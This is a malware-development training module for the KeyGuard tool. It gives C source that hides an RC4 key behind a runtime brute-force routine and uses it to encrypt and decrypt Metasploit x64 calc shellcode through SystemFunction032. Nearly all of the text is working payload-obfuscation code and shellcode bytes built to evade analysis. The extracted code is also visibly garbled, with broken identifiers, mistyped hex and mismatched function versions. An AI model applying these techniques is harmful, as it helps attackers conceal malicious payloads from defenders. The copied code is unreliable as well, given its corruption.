MalDev Academy Tool - KeyGuard

Introduction

This module demonstrates a MalDev Academy tool that generates an encryption key, encrypts it, and outputs the source code needed to brute force it at runtime.

Usage

The tool only requires the key size in bytes.

Examples

- .\KeyGuard.exe 32 Generates a 32-byte encrypted key, with a brute forcing function to decrypt it at runtime
- .\KeyGuard.exe 16 Generates a 16-byte encrypted key, with a brute forcing function to decrypt it at runtime

KeyGuard Demo

The image below shows KeyGuard being used to generate a 32-byte encrypted key.

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The complete output is shown below.

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/*
[i] Input Key Size: 32
[+] Using "0x88" As A Hint Byte
[+] Use The Following Key For [Encryption]
unsigned char OriginalKey[] = {
        0x88, 0xAE, 0x23, 0xCD, 0x24, 0xD0, 0xA5, 0xC9, 0xE7, 0x9C, 0x3C,
0x53, 0x9B, 0xCE, 0x01, 0x30,
        0xBC, 0x7A, 0x0A, 0x2F, 0xB3, 0xFE, 0x8E, 0xBA, 0x0F, 0x34, 0x49,
0xAB, 0x12, 0xEC, 0x22, 0x61 };
[+] Use The Following For [Implementations]
unsigned char ProtectedKey[] = {
        0xD1, 0xF6, 0x7C, 0x89, 0x71, 0x8C, 0xF2, 0x89, 0xB6, 0xFC, 0x1F,
0x07, 0xFE, 0x82, 0x56, 0x66,
        0x95, 0xD2, 0x45, 0x1B, 0x9E, 0x4A, 0xFD, 0x88, 0x7E, 0x14, 0x3A,
0x9F, 0x77, 0x50, 0x19, 0xD9 };
*/
```

```
#include <Windows.h>
#define HINT BYTE 0x88
unsigned char ProtectedKey[] = {
       0xD1, 0xF6, 0x7C, 0x89, 0x71, 0x8C, 0xF2, 0x89, 0xB6, 0xFC, 0x1F,
0x07, 0xFE, 0x82, 0x56, 0x66,
       0x95, 0xD2, 0x45, 0x1B, 0x9E, 0x4A, 0xFD, 0x88, 0x7E, 0x14, 0x3A,
0x9F, 0x77, 0x50, 0x19, 0xD9 };
BYTE BruteForceDecryption(IN BYTE HintByte, IN PBYTE pProtectedKey, IN
SIZE T sKey, OUT PBYTE* ppRealKey) {
       BYTE
                                               = 0;
                                               = 0;
        INT
                                               = (PBYTE) malloc(sKey);
       PBYTE
               pRealKey
       if (!pRealKey)
            return NULL;
       while (1) {
               if (((pProtectedKey[0] ^ b)) == HintByte)
                    break;
               else
                    b++;
        }
        for (int i = 0; i < sKey; i++) {
              pRealKey[i] = (BYTE) ((pProtectedKey[i] ^ b) - i);
       *ppRealKey = pRealKey;
       return b;
// Example calling:
              pRealKey = NULL;
// PBYTE
// BruteForceDecryption(HINT BYTE, ProtectedKey, sizeof(ProtectedKey),
&pRealKey);
```

Example - RC4 Encryption

To encrypt a payload, the plaintext key is the one used. Based on the output shown above, the plaintext key is the following:

This is the key that must be used to encrypt a payload. The encryption process will use the Rc4EncryptionViSystemFunc032 function to encrypt the Msfvenom x64 calc shellcode with the key. Recall this process from the *Payload Encryption - RC4* module.

```
#include <Windows.h>
#include <stdio.h>
// x64 calc metasploit (to encrypt)
unsigned char Payload[] = {
        0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41,
0x51,
        0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B,
0x52,
        0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B,
0x72,
        0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31,
0xC0,
        0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x2O, 0x41, 0xC1, 0xC9, 0x0D,
0x41,
        0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20,
0x8B,
        0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00,
0x48,
        0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18,
0x44,
        0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9,
0x41,
        0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31,
0xC0,
        0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
0xF1,
        0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58,
0x44,
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0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48,
0x44,
        0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48,
0x01,
        0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41,
0x59,
        0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58,
0x41,
        0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D,
0x48,
        0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D,
0x8D,
        0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF,
0xD5,
        0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D,
0xFF,
        0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB,
0xE0,
        0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41,
0x89,
        0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
// The following code is from (RC4 payload encryption - basic module)
// This is what SystemFunction032 function take as a parameter
typedef struct
{
        DWORD
                Length;
        DWORD
                MaximumLength;
                Buffer;
        PVOID
} USTRING;
// Defining how does the function look - more on this structure in the api
hashing part
typedef NTSTATUS(NTAPI* fnSystemFunction032)(
        struct USTRING* Data,
        struct USTRING* Key
        );
```

```
BOOL Rc4EncryptionViSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData,
IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
        // The return of SystemFunction032
        NTSTATUS
                       STATUS = NULL;
        // Making 2 USTRING variables, 1 passed as key and one passed as
the block of data to encrypt/decrypt
        USTRING
                       Key = \{ .Buffer = pRc4Key, \}
                                                                 .Length =
                        .MaximumLength = dwRc4KeySize },
dwRc4KeySize,
                        Data = { .Buffer = pPayloadData,
                                                                 .Length =
                        .MaximumLength = sPayloadSize };
sPayloadSize,
        // Since SystemFunction032 is exported from Advapi32.dll, we use
LoadLibraryA to load Advapi32.dll into the prcess,
        // and using its return as the hModule parameter in GetProcAddress
        fnSystemFunction032 SystemFunction032 =
(fnSystemFunction032) GetProcAddress (LoadLibraryA ("Advapi32"),
"SystemFunction032");
        // If SystemFunction032 calls failed it will return non zero value
        if ((STATUS = SystemFunction032(&Data, &Key)) != 0x0) {
                printf("[!] SystemFunction032 FAILED With Error: 0x%0.8X
\n", STATUS);
                return FALSE;
        return TRUE;
// Print data as hex arrays - C style
VOID PrintHexData (LPCSTR Name, PBYTE Data, SIZE T Size) {
        printf("unsigned char %s[] = {", Name);
        for (int i = 0; i < Size; i++) {
                if (i % 16 == 0) {
                        printf("\n\t");
                if (i < Size - 1) {
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printf("0x%0.2X, ", Data[i]);
                }
                else {
                        printf("0x%0.2X ", Data[i]);
                }
        }
       printf("};\n\n");
}
// The plaintext key - generated by keguard
unsigned char OriginalKey[] = {
                0x88, 0xAE, 0x23, 0xCD, 0x24, 0xD0, 0xA5, 0xC9, 0xE7, 0x9C,
0x3C, 0x53, 0x9B, 0xCE, 0x01, 0x30,
                0xBC, 0x7A, 0x0A, 0x2F, 0xB3, 0xFE, 0x8E, 0xBA, 0x0F, 0x34,
0x49, 0xAB, 0x12, 0xEC, 0x22, 0x61 };
int main() {
        if (!Rc4EncryptionViSystemFunc032(OriginalKey, Payload,
sizeof(OriginalKey), sizeof(Payload))) {
               return -1;
        }
        PrintHexData("Rc4EncryptedPayload", Payload, sizeof(Payload));
        printf("[#] Press <Enter> To Quit ... ");
        getchar();
        return 0;
```

The output is shown in the image below.

Example - RC4 Decryption

The code below will decrypt the RC4 encrypted payload using the brute force method. The key is encrypted using the KeyGuard tool.

```
#include <Windows.h>
#include <stdio.h>
// Encrypted x64 calc metasploit shellcode
unsigned char Rc4EncryptedPayload[] = {
        0x44, 0x3C, 0x18, 0x73, 0xCA, 0x86, 0x68, 0x08, 0xBC, 0xCD, 0x2D,
0x59, 0x39, 0x22, 0x3C, 0xFF,
        0x6A, 0x87, 0xA0, 0xF9, 0x69, 0xB4, 0x49, 0x95, 0x3A, 0xF7, 0x79,
0x24, 0x57, 0x7D, 0xC6, 0x31,
        0xD1, 0xB4, 0x68, 0xC7, 0x5D, 0x88, 0xFF, 0x90, 0x2C, 0x1A, 0xB3,
0xB3, 0xB3, 0xD5, 0x8E, 0xD0,
        0x31, 0x8C, 0x11, 0x1E, 0x51, 0x12, 0xC6, 0x32, 0x27, 0x8F, 0x34,
0x56, 0x49, 0x15, 0xBE, 0xE9,
        0xDB, 0xA9, 0xD7, 0x44, 0x66, 0x87, 0x79, 0x07, 0x94, 0x04, 0xB0,
0x74, 0x96, 0x4A, 0x09, 0x3B,
        OxAA, OxBF, OxEE, OxOD, OxEC, Ox2D, Ox6B, OxD9, Ox01, OxCE, OxBE,
0x4D, 0xA9, 0x3C, 0x78, 0x93,
        0x62, 0xFE, 0x5E, 0x69, 0x47, 0x54, 0xAE, 0xD1, 0x0F, 0xC3, 0xAF,
0xA6, 0xE8, 0xF2, 0xFA, 0x02,
        0x08, 0xD8, 0xDA, 0x42, 0xD7, 0x62, 0x31, 0xC8, 0x1E, 0x5E, 0x11,
0x2A, 0xB0, 0x82, 0xB5, 0x0B,
        0x15, 0xC3, 0x36, 0xD2, 0x36, 0xA8, 0x1B, 0x88, 0x2C, 0x3F, 0x4D,
0xDE, 0x5F, 0x19, 0x17, 0xF6,
        0xE8, 0x30, 0x16, 0x6C, 0x64, 0x7B, 0x5E, 0xD4, 0x45, 0x93, 0x76,
0x47, 0x86, 0xE2, 0x19, 0xEA,
        0x62, 0x64, 0x17, 0xBE, 0x0A, 0x0D, 0x66, 0xF9, 0x3A, 0xB7, 0xD0,
0xFD, 0xE4, 0x90, 0xA5, 0xB1,
        0x04, 0xAD, 0x6E, 0x9E, 0xA6, 0x81, 0xFC, 0xBA, 0x08, 0x30, 0x56,
0x86, 0x34, 0xC3, 0xE6, 0x2D,
        0xA3, 0x90, 0x93, 0x13, 0xD7, 0xD3, 0x7D, 0x0C, 0xCB, 0x6F, 0xA4,
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0xE0, 0xAA, 0x19, 0x77, 0x4F,
        0xB6, 0x2A, 0xEA, 0xA0, 0xDD, 0x0C, 0x57, 0x1F, 0x93, 0x08, 0x0D,
0x1B, 0x29, 0x79, 0x62, 0x00,
        0xCC, 0xE3, 0x6B, 0xF2, 0xD6, 0x71, 0xC6, 0x80, 0x0A, 0x4B, 0x68,
0xD1, 0xBA, 0xDC, 0x86, 0x8D,
        0x3C, 0x6E, 0xAA, 0xAC, 0xBE, 0x3E, 0x66, 0xD9, 0x2E, 0x94, 0x8C,
0x71, 0x00, 0x94, 0x13, 0xE2,
        0xCC, 0xDF, 0x98, 0x32, 0xD7, 0x9D, 0x5B, 0xAD, 0xFB, 0x21, 0x6A,
0xF4, 0x88, 0x16, 0x0B, 0xEF };
// The following code is from (RC4 payload encryption - basic module)
// This is what SystemFunction032 function take as a parameter
typedef struct
        DWORD Length;
        DWORD MaximumLength;
        PVOID Buffer;
} USTRING;
// Defining how does the function look - more on this structure in the api
hashing part
typedef NTSTATUS(NTAPI* fnSystemFunction032)(
        struct USTRING* Data,
        struct USTRING* Key
        );
BOOL Rc4EncryptionViSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData,
IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
        // The return of SystemFunction032
        NTSTATUS
                      STATUS = NULL;
        // Making 2 USTRING variables, 1 passed as key and one passed as
the block of data to encrypt/decrypt
                       Key = \{ .Buffer = pRc4Key, \}
        USTRING
                                                                .Length =
dwRc4KeySize,
                       .MaximumLength = dwRc4KeySize },
                       Data = { .Buffer = pPayloadData,
                                                               .Length =
sPayloadSize,
                       .MaximumLength = sPayloadSize };
```

```
// Since SystemFunction032 is exported from Advapi32.dll, we use
LoadLibraryA to load Advapi32.dll into the prcess,
        // And using its return as the hModule parameter in GetProcAddress
        fnSystemFunction032 SystemFunction032 =
(fnSystemFunction032) GetProcAddress (LoadLibraryA ("Advapi32"),
"SystemFunction032");
        // If SystemFunction032 calls failed it will return non zero value
        if ((STATUS = SystemFunction032(&Data, &Key)) != 0x0) {
                printf("[!] SystemFunction032 FAILED With Error: 0x%0.8X
\n", STATUS);
               return FALSE;
        }
        return TRUE;
// The following code is from keyguard tool
#define HINT BYTE 0x88
// The encrypted key - generated by keguard
unsigned char ProtectedKey[] = {
        0xD1, 0xF6, 0x7C, 0x89, 0x71, 0x8C, 0xF2, 0x89, 0xB6, 0xFC, 0x1F,
0x07, 0xFE, 0x82, 0x56, 0x66,
        0x95, 0xD2, 0x45, 0x1B, 0x9E, 0x4A, 0xFD, 0x88, 0x7E, 0x14, 0x3A,
0x9F, 0x77, 0x50, 0x19, 0xD9 };
BYTE BruteForceDecryption(IN BYTE HintByte, IN PBYTE pProtectedKey, IN
SIZE T sKey, OUT PBYTE* ppRealKey) {
                    b = 0;
    BYTE
                    i = 0;
    INT
                    pRealKey = (PBYTE)malloc(sKey);
    PBYTE
    if (!pRealKey)
       return NULL;
    while (1) {
        if (((pProtectedKey[0] ^ b) - i) == HintByte)
```

```
break;
       else
          b++;
    }
   for (int i = 0; i < sKey; i++) {
       pRealKey[i] = (BYTE) ((pProtectedKey[i] ^ b) - i);
   *ppRealKey = pRealKey;
   return b;
VOID PrintHexData(LPCSTR Name, PBYTE Data, SIZE T Size) {
       printf("unsigned char %s[] = {", Name);
       for (int i = 0; i < Size; i++) {
               if (i % 16 == 0) {
                    printf("\n\t");
               if (i < Size - 1) {
                      printf("0x%0.2X, ", Data[i]);
               else {
                      printf("0x%0.2X ", Data[i]);
      printf("};\n\n");
int main() {
   // Code from keyguard
   PBYTE pRealKey
                           = NULL;
   if (!BruteForceDecryption(HINT BYTE, ProtectedKey,
sizeof(ProtectedKey), &pRealKey)) {
       return -1;
   }
```

```
// Printing keyguard brute forced key
PrintHexData("OriginalKey", pRealKey, sizeof(ProtectedKey));

// Decrypting with the original key
    if (!Rc4EncryptionViSystemFunc032(pRealKey, Rc4EncryptedPayload,
sizeof(ProtectedKey), sizeof(Rc4EncryptedPayload))) {
        return -1;
    }

// Printing payload
    PrintHexData("DecryptedPayload", Rc4EncryptedPayload,
sizeof(Rc4EncryptedPayload));

    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    return 0;
}
```

Results

The original shellcode bytes were retrieved using the encrypted key, demonstrating the KeyGuard tool usage and benefits.